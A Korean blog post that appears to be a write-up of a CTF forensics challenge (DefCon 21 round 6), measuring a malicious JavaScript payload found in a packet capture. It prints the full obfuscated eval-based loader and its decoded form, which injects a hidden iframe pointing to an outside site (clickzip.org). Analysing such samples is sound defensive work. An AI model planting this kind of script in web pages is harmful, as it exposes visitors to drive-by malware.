Network) DefCoN#21 #6

2022. 1. 8. 00:12문제연습/CTF-D

반응형

본 티스토리 블로그는 PC에 최적화되어 있습니다.

모바일 유저분들은 아래 네이버 블로그를 이용해 주세요.

 

 

DefCoN#21 #6

본 네이버 블로그는 모바일에 최적화되어 있습니다. PC 유저분들은 아래 티스토리 블로그를 이용해 주세...

blog.naver.com

 

 

 

1. 문제 화면

DefCoN#21 #6
Mrs. Jensen은 이 이상한 이메일을 더 자세히 보기로 결심한다. 그녀는 계좌 잔고를 확인하기 위해 계좌에 대한 접근 권한을 계속 유지하기로 결정한다. Round 6 패킷을 사용해서 다음 질문에 답하시오.

악성 페이로드의 용량은 몇 Byte 인가?

 

 

2. 분석

문제에서 이메일에 악성 페이로드가 존재한다고 합니다.

일반적으로 사용되는 이메일 프로토콜은 POP3, SMTP, IMAP ... 등이 존재하는데 해당 프로토콜을 조금 더 눈여겨볼 필요가 있을 것 같습니다.

정확한 통신 내역은 모르므로 일단 패킷 캡처 파일을 확인해 보도록 하겠습니다.

정확히 어떤 파일을 구조 받았는지 확인하기 위해 netminer를 확인해 보면 6개의 파일이 존재함을 알 수 있습니다.

이 중에서 한 가지 비정상적인 파일 하나가 보이는데, 아래와 같습니다.

 

해당 파일이 통신된 부분을 WireShark를 확인해 보도록 하겠습니다.

 

 

paimia.com 웹페이지 응답 결과를 확인해 보니 <script></script>의 자바스크립트 코드가 존재함을 알 수 있습니다.

 

해당 파일의 사이즈는 다음과 같습니다.

 

따라서 플래그는 3113입니다.

 

 

 Flag : 3113 

 

 

해당 문제의 플래그 값과는 별개로 어떤 스크립트가 저장되어 있는지 궁금해서 한번 분석을 진행해 보도록 하겠습니다.

 

스크립트 코드)

- 난독화 해제 전

<script>v="r21vr1b23rb";try{dsfsd++}catch(wEGWEGWEg){try{(v+v)()}catch(fsebgreber){m=Math;ev=eval;}
n="25&&26&&121&&119&&48&&57&&116&&128&&115&&134&&125&&118&&126&&133&&62&&120&&117&&133&&85&&125&&117&&126&&117&&127&&132&&132&&82&&138&&100&&114&&119&&95&&113&&126&&117&&57&&55&&115&&127&&117&&137&&56&&57&&108&&64&&110&&57&&140&&29&&26&&25&&26&&121&&119&&130&&114&&125&&118&&130&&57&&57&&76&&29&&26&&25&&142&&48&&118&&124&&132&&117&&49&&139&&30&&25&&26&&25&&117&&127&&116&&133&&126&&117&&127&&132&&63&&135&&131&&121&&133&&117&&57&&50&&77&&121&&119&&130&&114&&125&&118&&48&&132&&130&&116&&77&&56&&120&&133&&132&&129&&74&&64&&63&&116&&124&&122&&115&&124&&138&&122&&128&&63&&127&&131&&119&&64&&118&&118&&117&&117&&63&&119&&130&&114&&125&&118&&131&&63&&128&&121&&128&&80&&133&&122&&116&&78&&69&&71&&54&&119&&130&&114&&125&&118&&131&&78&&68&&56&&48&&136&&121&&117&&132&&121&&77&&56&&65&&65&&55&&49&&120&&118&&121&&120&&120&&133&&77&&56&&65&&65&&55&&49&&131&&133&&137&&125&&117&&78&&55&&135&&121&&132&&121&&115&&121&&125&&121&&133&&137&&75&&120&&122&&116&&117&&117&&127&&75&&129&&127&&132&&121&&133&&121&&128&&126&&75&&113&&115&&131&&128&&124&&134&&132&&118&&75&&125&&117&&119&&132&&75&&64&&76&&132&&128&&128&&75&&64&&76&&55&&79&&76&&64&&121&&119&&130&&114&&125&&118&&78&&51&&57&&76&&29&&26&&25&&142&&29&&26&&25&&119&&133&&127&&115&&133&&121&&128&&126&&49&&121&&119&&130&&114&&125&&118&&130&&57&&57&&140&&29&&26&&25&&26&&134&&114&&130&&49&&118&&49&&77&&49&&116&&128&&115&&134&&125&&118&&126&&133&&62&&116&&130&&118&&113&&133&&117&&86&&124&&118&&125&&118&&126&&133&&56&&56&&121&&119&&130&&114&&125&&118&&55&&58&&75&&119&&62&&132&&117&&133&&81&&133&&132&&131&&121&&115&&133&&133&&117&&57&&55&&132&&130&&116&&55&&61&&55&&121&&132&&133&&128&&75&&63&&64&&115&&125&&121&&116&&123&&139&&121&&129&&62&&128&&130&&120&&63&&119&&117&&118&&116&&64&&118&&131&&113&&126&&117&&132&&62&&129&&120&&129&&79&&134&&121&&117&&77&&70&&70&&55&&118&&131&&113&&126&&117&&132&&77&&69&&55&&58&&75&&119&&62&&132&&132&&138&&124&&118&&62&&135&&121&&132&&121&&115&&121&&125&&121&&133&&137&&78&&55&&121&&121&&117&&116&&118&&126&&56&&75&&119&&62&&132&&132&&138&&124&&118&&62&&129&&127&&132&&121&&133&&121&&128&&126&&78&&55&&114&&114&&132&&127&&125&&133&&133&&117&&56&&75&&119&&62&&132&&132&&138&&124&&118&&62&&125&&117&&119&&132&&78&&55&&65&&55&&76&&118&&63&&131&&133&&137&&125&&117&&63&&132&&128&&128&&78&&55&&65&&55&&76&&118&&63&&131&&118&&132&&82&&132&&133&&130&&122&&114&&134&&132&&118&&56&&56&&135&&122&&116&&133&&120&&56&&60&&56&&65&&65&&55&&58&&75&&119&&62&&132&&117&&133&&81&&133&&132&&131&&121&&115&&133&&133&&117&&57&&55&&121&&117&&122&&119&&121&&132&&56&&60&&56&&65&&65&&55&&58&&75&&30&&25&&26&&25&&117&&127&&116&&133&&126&&117&&127&&132&&63&&119&&118&&132&&86&&124&&118&&125&&118&&126&&133&&131&&83&&137&&101&&113&&120&&94&&114&&125&&118&&56&&56&&114&&128&&116&&138&&55&&58&&107&&65&&109&&63&&113&&129&&128&&118&&126&&117&&83&&121&&121&&125&&116&&57&&118&&58&&75&&30&&25&&26&&141".split("&&");h=2;s="";if(m)for(i=0;i-611!=0;i=1+i){k=i;if(window.document)s+=String.fromCharCode(n[i]-(020+i%h));}try{fsfewbfew--}catch(dgdsh){ev(s);}}</script>
 

 

- 1차 난독화 해제 후

<script>

	v="r21vr1b23rb";
	
	try{
		dsfsd++
	}
	
	catch(wEGWEGWEg){
		try{
			(v+v)()
		}
		
		catch(fsebgreber){
			m=Math;
			ev=eval;
		}

		n="25&&26&&121&&119&&48&&57&&116&&128&&115&&134&&125&&118
			&&126&&133&&62&&120&&117&&133&&85&&125&&117&&126&&117
			&&127&&132&&132&&82&&138&&100&&114&&119&&95&&113&&126
			&&117&&57&&55&&115&&127&&117&&137&&56&&57&&108&&64&&110
			&&57&&140&&29&&26&&25&&26&&121&&119&&130&&114&&125&&118
			&&130&&57&&57&&76&&29&&26&&25&&142&&48&&118&&124&&132&&
			117&&49&&139&&30&&25&&26&&25&&117&&127&&116&&133&&126&&
			117&&127&&132&&63&&135&&131&&121&&133&&117&&57&&50&&77&&
			121&&119&&130&&114&&125&&118&&48&&132&&130&&116&&77&&56&&
			120&&133&&132&&129&&74&&64&&63&&116&&124&&122&&115&&124&&
			138&&122&&128&&63&&127&&131&&119&&64&&118&&118&&117&&117&&
			63&&119&&130&&114&&125&&118&&131&&63&&128&&121&&128&&80&&
			133&&122&&116&&78&&69&&71&&54&&119&&130&&114&&125&&118&&
			131&&78&&68&&56&&48&&136&&121&&117&&132&&121&&77&&56&&65&&
			65&&55&&49&&120&&118&&121&&120&&120&&133&&77&&56&&65&&65&&
			55&&49&&131&&133&&137&&125&&117&&78&&55&&135&&121&&132&&121
			&&115&&121&&125&&121&&133&&137&&75&&120&&122&&116&&117&&117
			&&127&&75&&129&&127&&132&&121&&133&&121&&128&&126&&75&&113&&
			115&&131&&128&&124&&134&&132&&118&&75&&125&&117&&119&&132&&75
			&&64&&76&&132&&128&&128&&75&&64&&76&&55&&79&&76&&64&&121&&119
			&&130&&114&&125&&118&&78&&51&&57&&76&&29&&26&&25&&142&&29&&26
			&&25&&119&&133&&127&&115&&133&&121&&128&&126&&49&&121&&119&&130
			&&114&&125&&118&&130&&57&&57&&140&&29&&26&&25&&26&&134&&114&&130
			&&49&&118&&49&&77&&49&&116&&128&&115&&134&&125&&118&&126&&133&&62
			&&116&&130&&118&&113&&133&&117&&86&&124&&118&&125&&118&&126&&
			133&&56&&56&&121&&119&&130&&114&&125&&118&&55&&58&&75&&119&&
			62&&132&&117&&133&&81&&133&&132&&131&&121&&115&&133&&133&&117
			&&57&&55&&132&&130&&116&&55&&61&&55&&121&&132&&133&&128&&75&&
			63&&64&&115&&125&&121&&116&&123&&139&&121&&129&&62&&128&&130
			&&120&&63&&119&&117&&118&&116&&64&&118&&131&&113&&126&&117&&
			132&&62&&129&&120&&129&&79&&134&&121&&117&&77&&70&&70&&55&&118
			&&131&&113&&126&&117&&132&&77&&69&&55&&58&&75&&119&&62&&132&&
			132&&138&&124&&118&&62&&135&&121&&132&&121&&115&&121&&125&&121
			&&133&&137&&78&&55&&121&&121&&117&&116&&118&&126&&56&&75&&119&&
			62&&132&&132&&138&&124&&118&&62&&129&&127&&132&&121&&133&&121&&
			128&&126&&78&&55&&114&&114&&132&&127&&125&&133&&133&&117&&56&&75
			&&119&&62&&132&&132&&138&&124&&118&&62&&125&&117&&119&&132&&78&&
			55&&65&&55&&76&&118&&63&&131&&133&&137&&125&&117&&63&&132&&128&&
			128&&78&&55&&65&&55&&76&&118&&63&&131&&118&&132&&82&&132&&133&&130
			&&122&&114&&134&&132&&118&&56&&56&&135&&122&&116&&133&&120&&56&&60
			&&56&&65&&65&&55&&58&&75&&119&&62&&132&&117&&133&&81&&133&&132&&131
			&&121&&115&&133&&133&&117&&57&&55&&121&&117&&122&&119&&121&&132&&56
			&&60&&56&&65&&65&&55&&58&&75&&30&&25&&26&&25&&117&&127&&116&&133&&126
			&&117&&127&&132&&63&&119&&118&&132&&86&&124&&118&&125&&118&&126&&133
			&&131&&83&&137&&101&&113&&120&&94&&114&&125&&118&&56&&56&&114&&128&&
			116&&138&&55&&58&&107&&65&&109&&63&&113&&129&&128&&118&&126&&117&&83
			&&121&&121&&125&&116&&57&&118&&58&&75&&30&&25&&26&&141".split("&&");
		
		h=2;
		s="";
		
		if(m)
			for(i=0;i-611!=0;i=1+i){
				k=i;
				if(window.document)
					s+=String.fromCharCode(n[i]-(020+i%h));
			}
			
			try
				{fsfewbfew--}
			catch(dgdsh)
				{ev(s);}
	}
</script>

 

스크립트 코드가 상당히 깁니다...

일단 저 n 변수에 들어가 있는 문자열들과 상호작용하는 부분을 모두 풀어내야겠습니다.

 

 

크롬 콘솔에 넣고 s 값을 확인해 보니 다음과 같은 값이 확인되었습니다.

 

- 2차 난독화 해제 후

if (document.getElementsByTagName('body')[0])
	{iframer();} 
else {
	document.write("<iframe src='http://clickzip.org/feed/frames.php?uid=56&frames=4' 
					   width='10' height='10' 
					   style='visibility:hidden;
					   position:absolute;
					   left:0;top:0;'>
					</iframe>");}
		
		
	function iframer(){
	var f = document.createElement('iframe');f.setAttribute('src','http://clickzip.org/feed/frames.php?uid=56&frames=4');
	f.style.visibility='hidden';
	f.style.position='absolute';
	f.style.left='0';
	f.style.top='0';
	f.setAttribute('width','10');
	f.setAttribute('height','10');
	document.getElementsByTagName('body')[0].appendChild(f);
	}

 

iframe 태그를 사용하여 특정 웹 사이트로의 접속을 유도하고 있군요.

 

접속 유도하는 웹 사이트의 정보를 확인해 본 결과 아래와 같습니다.

해당 사이트에 대한 악성 유무나 접속 정보를 확인하기는 어려웠습니다...

 

wayback machine으로 확인한 결과는 아래와 같습니다.

2012년 10월 17에 저장된 백업 정보를 확인해 보니 별다른 내역 없이 OK라는 문구만 적혀 있습니다...

아무래도 여기서 분석을 더 진행하는 것은 힘들 듯합니다...

 

 

 

여기서 분석을 마무리하고 글을 마치도록 하겠습니다.

 

이상! ICMP였습니다!

감사합니다!

 

반응형

'문제연습 > CTF-D' 카테고리의 다른 글

Network) DefCoN#21 #8  (0) 2022.01.13
Network) DefCoN#21 #4  (0) 2021.12.15
Multimedia) 내 친구 Mich는 이 멋진 튤립…  (0) 2021.01.13
Multimedia) 저는 이 파일이 내 친구와…  (0) 2021.01.12
Multimedia) Wota  (0) 2021.01.11